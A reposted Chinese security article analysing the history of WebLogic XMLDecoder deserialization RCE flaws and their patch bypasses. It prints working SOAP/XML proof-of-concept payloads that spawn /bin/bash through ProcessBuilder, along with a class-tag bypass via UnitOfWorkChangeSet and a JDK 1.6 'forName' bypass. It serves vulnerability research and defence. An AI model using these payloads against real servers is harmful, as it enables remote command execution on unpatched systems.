转载

从CVE-2019-2729谈Weblogic XML RCE的绕过史

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担

从 CVE-2017-3506 为起点至今,weblogic 接二连三的吧爆出了大量的反序列化漏洞,而这些反序列化漏洞的很大一部分,都是围绕着 XMLDecoder 的补丁与补丁的绕过展开的,所以笔者以 CVE-2017-3506 为起点,到近期的 CVE-2019-2725 及其绕过来谈一谈这两年 weblogic 在 XMLDecoder 上的缝缝补补。

认识 XMLDecoder

首先去看一下 XMLDecoder 的官方文档,如下:

XMLDecoder 类用于读取使用 XMLEncoder 创建的 XML 文档,用途类似于 ObjectInputStream。例如,用户可以使用以下代码片段来读取以 XML 文档形式(通过 XMLEncoder 类写入)定义的第一个对象:

XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("Test.xml")));    Object result = d.readObject();    d.close();

作为一名 java 反序列化的研究人员,看到 readObject() 函数就应该带有一丝兴奋,至少代表我们找到入口了。

先不去管在 weblogic 上的利用,我们先构造一个特殊的 poc.xml 文件,让 XMLDecoder 去解析一下,看一下流程

<java>        <object class="java.lang.ProcessBuilder">            <array class="java.lang.String" length="3">                <void index="0">                    <string>/bin/bash</string>                </void>                <void index="1">                    <string>-c</string>                </void>                <void index="2">                    <string>ls</string>                </void>            </array>            <void method="start"/>        </object>    </java>

再写一个简单的利用 XMLDecoder 解析 xml 文件的 demo,

import java.beans.XMLDecoder;    import java.io.*;    public class Main {        public static void main(String[] args) throws IOException, InterruptedException {            File file = new File("poc.xml");            XMLDecoder xd = null;            try {                xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file)));            } catch (Exception e) {                e.printStackTrace();            }            Object s2 = xd.readObject();            xd.close();        }    }

因为会触发命令执行,所以先直接在 ProcessBuilder 的 start 函数上打上断点,看一下调用栈,

从CVE-2019-2729谈Weblogic XML RCE的绕过史

我们关注的重点在于从 xml 到 ProcessBuilder 类被实例化的过程,所以去跟进一下 DocumentHandler 类,我们去看几个核心函数,

首先看到了构造函数,看一看到为不同的标签定义了不同的 Handler,

从CVE-2019-2729谈Weblogic XML RCE的绕过史

再看一下 startElement 函数,它用来实例化对应的 Element,并给当前 handler 设置 Owner 和 Parent,关于 Owner 和 Parent,直接引用 @fnmsd 写的内容:

parent

最外层标签的 ElementHandler 的 parent 为 null,而后依次为上一级标签对应的 ElementHandler

owner

ElementHandler: 固定 owner 为所属 DocumentHandler 对象。

DocumentHandler: owner 固定为所属 XMLDecoder 对象。

从CVE-2019-2729谈Weblogic XML RCE的绕过史

然后看一下 endElement 函数,

从CVE-2019-2729谈Weblogic XML RCE的绕过史

他会直接调用对应的 ElementHandler 的 endElement 函数,代码如下,

从CVE-2019-2729谈Weblogic XML RCE的绕过史

接下来一连串的 Handler 的 getValueObject 调用之后,到达了 ObjectElementHandler 的 getValueObject 函数,并在该函数内将我们标签内的值传给了 Expression 类,

从CVE-2019-2729谈Weblogic XML RCE的绕过史

在调用了 getValue 方法后,成功将 ProcessBuilder 类的实例返回,

从CVE-2019-2729谈Weblogic XML RCE的绕过史

接下来再返回给 VoidElementHandler 将 start 函数传过来,调用 start 函数,命令执行成功。

从CVE-2019-2729谈Weblogic XML RCE的绕过史

最后补上一张 @ fnmsd 给出的 XMLDecoder 解析 xml 的流程图以加深理解。

从CVE-2019-2729谈Weblogic XML RCE的绕过史

CVE-2017-3506

上一节已经可以看到,XMLDecoder 在解析 xml 的时候,通过构造特殊的 xml 文件是可以造成命令执行的,接下来我们就可以来看一下第一个 weblogic 由于 XMLDEcoder 导致的命令执行漏洞 CVE-2017-3506。

先上 POC,

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">        <soapenv:Header>            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">                <java>                    <object class="java.lang.ProcessBuilder">                        <array class="java.lang.String" length="3">                            <void index="0">                                <string>/bin/bash</string>                            </void>                            <void index="1">                                <string>-c</string>                            </void>                            <void index="2">                                <string> open /Applications/Calculator.app/</string>                            </void>                        </array>                        <void method="start"/>                    </object>                </java>            </work:WorkContext>        </soapenv:Header>        <soapenv:Body/>    </soapenv:Envelope>

调用链我们只跟到 XMLDecoder.readObject(),因为剩下的都是上一节的内容了,

从CVE-2019-2729谈Weblogic XML RCE的绕过史

在 processRequest 函数中,会对传入的 payload 进行分割,把真正的 xml 交给 readHeaderOld 函数处理,

从CVE-2019-2729谈Weblogic XML RCE的绕过史

readHeaderOld 函数则是将真正的 xml 传给 XMLDecoder,并在后续的一连串调用中将 XMLDecoder 实例化调用其 readObject 函数,于是便造成了命令执行。

从CVE-2019-2729谈Weblogic XML RCE的绕过史

CVE-2017-10271

在 CVE-2017-3506 爆出后,我们去看一下官方的补丁,代码如下:

private void validate(InputStream is) {          WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();          try {             SAXParser parser = factory.newSAXParser();             parser.parse(is, new DefaultHandler() {                public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {                   if(qName.equalsIgnoreCase("object")) {                      throw new IllegalStateException("Invalid context type: object");                   }                }             });          } catch (ParserConfigurationException var5) {             throw new IllegalStateException("Parser Exception", var5);          } catch (SAXException var6) {             throw new IllegalStateException("Parser Exception", var6);          } catch (IOException var7) {             throw new IllegalStateException("Parser Exception", var7);          }       }

补丁非常的简单,一旦标签是 object,系统报错,于是立马出了第二版的 poc,CVE-2017-10271:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">        <soapenv:Header>            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">                <java>                    <void class="java.lang.ProcessBuilder">                        <array class="java.lang.String" length="3">                            <void index="0">                                <string>/bin/bash</string>                            </void>                            <void index="1">                                <string>-c</string>                            </void>                            <void index="2">                                <string> open /Applications/Calculator.app/</string>                            </void>                        </array>                        <void method="start"/>                    </void>                </java>            </work:WorkContext>        </soapenv:Header>        <soapenv:Body/>    </soapenv:Envelope>

乍一看这个 poc,简直和 CVE-2017-3506 一模一样,唯一得到区别就是

变成了

仅仅是类的标签类型由 object 变成了 void,我们去看一下 VoidElementHandler 的源码:

从CVE-2019-2729谈Weblogic XML RCE的绕过史

可以看到 VoidElementHandler 是 ObjectElementHandler 类的子类,这也就解释了为什么把 object 标签换成 Void 标签也同样可以造成命令执行。

CVE-2019-2725

时隔一年多,CVE-2019-2725 爆出,这次的漏洞是要分两块来看的,

1、 新爆出的存在反序列化的组件_async
2、 CVE-2017-10271 的补丁被绕过

首先看第一点,在 ProcessBuilder 的 start 函数上打一个断点,先看一下 async 组件在处理 xml 时候的调用链(老规矩只追到 XMLDecoder.readObject 函数),

从CVE-2019-2729谈Weblogic XML RCE的绕过史 引用廖大神的分析思路,请求会经过 webservice 注册的 21 个 Handler 来处理,看一下 HandlerIterator 类,就能发现对应的 21 个 Handler,

从CVE-2019-2729谈Weblogic XML RCE的绕过史

21 个 Handler 里面 AsyncResponseHandler 应该是我们重点关注的那一个,跟进去看一下源码的 handleRequest 方法,

从CVE-2019-2729谈Weblogic XML RCE的绕过史

可以看到要想让程序往下走,必须保证 var2 有值,也就是 RelatesTo 有值,这也就是为什么 payload 里面有

<wsa:Action>xx</wsa:Action>    <wsa:RelatesTo>xx</wsa:RelatesTo>

这两行的原因。

关于 WS-Addressing 的使用,也可以去参考官方文档( https://www.w3.org/Submission/ws-addressing/ ),有助于深刻理解。

走过各种 Handler 后来到 WorkAreaServerHandler,对 xml 进行了拆分,接下来的调用就和前面一样了(xml 交给 XMLDecoder,调用 readObject 方法),

从CVE-2019-2729谈Weblogic XML RCE的绕过史

分析完 async 组件后,就来到了另一个问题上,如何绕过 CVE-2017-10271 的补丁,老套路,我们先看一下补丁内容,

private void validate(InputStream is) {          WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();          try {             SAXParser parser = factory.newSAXParser();             parser.parse(is, new DefaultHandler() {                private int overallarraylength = 0;                public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {                   if(qName.equalsIgnoreCase("object")) {                      throw new IllegalStateException("Invalid element qName:object");                   } else if(qName.equalsIgnoreCase("new")) {                      throw new IllegalStateException("Invalid element qName:new");                   } else if(qName.equalsIgnoreCase("method")) {                      throw new IllegalStateException("Invalid element qName:method");                   } else {                      if(qName.equalsIgnoreCase("void")) {                         for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {                            if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {                               throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));                            }                         }                      }                      if(qName.equalsIgnoreCase("array")) {                         String var9 = attributes.getValue("class");                         if(var9 != null && !var9.equalsIgnoreCase("byte")) {                            throw new IllegalStateException("The value of class attribute is not valid for array element.");                         }

这次的补丁内容我们文字化一下:

1、 禁用 object、new、method 标签
2、 如果使用 void 标签,只能有 index 属性
3、 如果使用 array 标签,且标签使用的是 class 属性,则它的值只能是 byte

这次的补丁可以说是比上一次严格的多,前两点虽然很大程度上限制了我们不能随意生成对象,调用方法,但好在还有一个 class 标签可以使用,最关键的还在于第三点,它限制了我们的参数不能再是 String 类型,而只能是 byte 类型,所以我们的思路只能从这一点出发,整理一下思路,我们要寻找的是这样一个类:

1、 他的成员变量是 byte 类型
2、 在该类进行实例化的时候就能造成命令执行。

于是便有了 oracle.toplink.internal.sessions.UnitOfWorkChangeSet 来满足我们的需求。

看一下构造函数,该类会对传给它的 byte 值进行反序列化,可以看到这是一个标准的二次反序列化,于是满足二次反序列的 payload 应该都可以用,如 AbstractPlatformTransactionManager、7u21 等等。

从CVE-2019-2729谈Weblogic XML RCE的绕过史

具体 payload 如下:

<?xml version="1.0" encoding="utf-8"?>    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">        <soapenv:Header>            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">                <java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void><array class="byte" length="8970">                    <void index="0">                    <byte>-84</byte>                    ...                    ...                </array></void></class>                </java>            </work:WorkContext>        </soapenv:Header>        <soapenv:Body/>    </soapenv:Envelope>

关于二次反序列的原理不再一一分析,大佬们早已经给出了非常详尽的解释,有兴趣可以去廖大神的博客( http://xxlegend.com )学习一下,也可以选择读一下 ysoserial 的 7u21 模块代码就 ok。

针对此次漏洞,官方给出的修复补丁处理比较简单,禁用 class 标签。

private void validate(InputStream is) {       WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();       try {          SAXParser parser = factory.newSAXParser();          parser.parse(is, new DefaultHandler() {             private int overallarraylength = 0;             public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {                if (qName.equalsIgnoreCase("object")) {                   throw new IllegalStateException("Invalid element qName:object");                } else if (qName.equalsIgnoreCase("class")) {                   throw new IllegalStateException("Invalid element qName:class");                } else if (qName.equalsIgnoreCase("new")) {                   throw new IllegalStateException("Invalid element qName:new");                } else if (qName.equalsIgnoreCase("method")) {                   throw new IllegalStateException("Invalid element qName:method");                } else {                   if (qName.equalsIgnoreCase("void")) {                      for(int i = 0; i < attributes.getLength(); ++i) {                         if (!"index".equalsIgnoreCase(attributes.getQName(i))) {                            throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(i));                         }                      }                   }                   if (qName.equalsIgnoreCase("array")) {                      String attClass = attributes.getValue("class");                      if (attClass != null && !attClass.equalsIgnoreCase("byte")) {                         throw new IllegalStateException("The value of class attribute is not valid for array element.");                      }                      String lengthString = attributes.getValue("length");                      if (lengthString != null) {                         try {                            int length = Integer.valueOf(lengthString);                            if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {                               throw new IllegalStateException("Exceed array length limitation");                            }                            this.overallarraylength += length;                            if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {                               throw new IllegalStateException("Exceed over all array limitation.");                            }

不过 7u21 模块有一点要提一下,7u21 模块利用的最后会通过将 TemplatesImpl 对象的_bytecodes 变量动态生成为对象,于是该类的 static block 和构造函数便会自动执行,而这个类又是攻击者可以随便构造的,于是便造成了命令执行。

由于此次漏洞的 payload 是 byte 写的,而由于攻击利用类又是动态生成的,所以分析攻击者的代码是个比较麻烦的事情,所以下面给出如何将 payload 中攻击者代码还原出来的方法。

1、开启 weblogic 远程调试,并把断点打在 ProcessBuilder 类的 start 函数中(因为此时攻击类已经动态生成成功,但是没法直接在编译器里查看代码)

从CVE-2019-2729谈Weblogic XML RCE的绕过史

2、 使用 jps -l 命令查看 weblogic 的 pid

从CVE-2019-2729谈Weblogic XML RCE的绕过史

3、运行 sudo java -cp $JAVA_HOME/lib/sa-jdi.jar sun.jvm.hotspot.HSDB 命令查看对应 PID 的内存,

从CVE-2019-2729谈Weblogic XML RCE的绕过史

4、搜索内存中的动态生成类,并生成 class 文件,反编译一下,就可以看到攻击者写的自定义类了。

从CVE-2019-2729谈Weblogic XML RCE的绕过史

CVE-2019-2725 绕过

最近网上又流传了 CVE-2019-2725 绕过的 poc,如下:

<?xml version="1.0" encoding="utf-8"?>    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">        <soapenv:Header>            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">                <java>                    <array method="forName">                        <string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>                        <void>                            <array class="byte" length="3748">                                ...                            </array>                        </void>                    </array>                </java>            </work:WorkContext>        </soapenv:Header>        <soapenv:Body/>    </soapenv:Envelope>

刚拿到 poc 的时候,看了一下思路,因为标签被禁了,所以通过

来绕过补丁。思路是比较清晰的,通过 Class.forName(classname) 来取到我们想要的类,从而绕过 class 标签被禁的问题。

但刚看到这个 poc 的时候,我第一个疑问就是,array 居然可以使用 method 属性吗?所以立马去看了一下 ArrayElementHandler 类的内容,

从CVE-2019-2729谈Weblogic XML RCE的绕过史

只支持 length 标签,但是它是 NewElementHandler 的子类,那再去看看 NewElementHandler

从CVE-2019-2729谈Weblogic XML RCE的绕过史

支持 class 标签,但是它是 ElementHandler 的子类,再去看一下 ElementHandler

从CVE-2019-2729谈Weblogic XML RCE的绕过史

发现到最后也没找到它支持 method 属性。

马上去我自己的环境里面试一下,没法复现成功,一度以为这个 poc 是假的,但后来想了一下,我的环境里面只有 1.7 和 1.8 的 jdk,会不会是 jdk 版本太高了,立马去 1.6 试一下,果然复现成功,看来 1.6 的 XMLDecoder 的代码和 1.7/1.8 不太一样。

从CVE-2019-2729谈Weblogic XML RCE的绕过史

去跟进一下 jdk 1.6 的 XMLDecoder,根据原理去写一个简单一点的 poc.xml,测试 demo 继续使用第一章的就行

<?xml version="1.0" encoding="UTF-8"?>    <java>        <array method="forName">            <string>java.lang.ProcessBuilder</string>            <void>            <array class="java.lang.String" length="3">                <void index="0">                    <string>/bin/bash</string>                </void>                <void index="1">                    <string>-c</string>                </void>                <void index="2">                    <string>open /Applications/Calculator.app/</string>                </void>            </array>            <void method="start" />            </void>        </array>    </java>

发现 jdk1.6 的 XMLDecoder 代码简单很多,根本没有那么多的 ElementHandler,直接统一放在 ObjectHandler 的代码里面处理。

而对标签的处理,也可以说是非常的朴实无华了,看一下 startElement,

public void startElement(String var1, AttributeList var2) throws SAXException {        ...    ...            String var8 = (String)var3.get("method");            if (var8 == null && var6 == null) {                var8 = "new";            }            var4.setMethodName(var8);         ...    ...            } else if (var1 == "array") {                var14 = (String)var3.get("class");                Class var10 = var14 == null ? Object.class : this.classForName2(var14);                var11 = (String)var3.get("length");                if (var11 != null) {                    var4.setTarget(Array.class);                    var4.addArg(var10);                    var4.addArg(new Integer(var11));                }

我这里只截取关键部分代码,首先可以看到代码根本不管你的标签是什么,只要有 methond 属性,那就算作你的方法名,并且如果你的标签是 array 标签,而有没有 class 属性,自动给你补一个 Class,完美契合需求,所以就可以直接通过 Class.forName 来取到我们需要的类了。

这样也就绕过了对 class 标签的过滤,不过只能在 1.6 的 jdk 利用。

思考与总结

根据近些年 weblogic 由于 XMLDecoder 导致的反序列漏洞的缝缝补补中,可以看到虽然绕过的 poc 层出不穷,但是利用的范围却越来越窄,从一开始的所有 jdk 通用,到 7u21 以下可以利用成功,再到最近的绕过已经只能在 1.6 利用成功,可以看到,保持 jdk 版本的高版本可以有效的防范 java 反序列化攻击。与此同时,对于基本用不到的 weblogic 组件,还是能删就删为好。

引用

http://www.lmxspace.com/2019/06/05/Xmldecoder%E5%AD%A6%E4%B9%A0%E4%B9%8B%E8%B7%AF/

https://blog.csdn.net/fnmsd/article/details/89889144

http://xxlegend.com/2017/12/23/Weblogic%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/

http://xxlegend.com/2019/04/30/CVE-2019-2725%E5%88%86%E6%9E%90/

*本文作者:平安银行应用安全团队-Glassy,转载请注明来自FreeBuf.COM

原文  https://www.freebuf.com/vuls/206374.html
正文到此结束
Loading...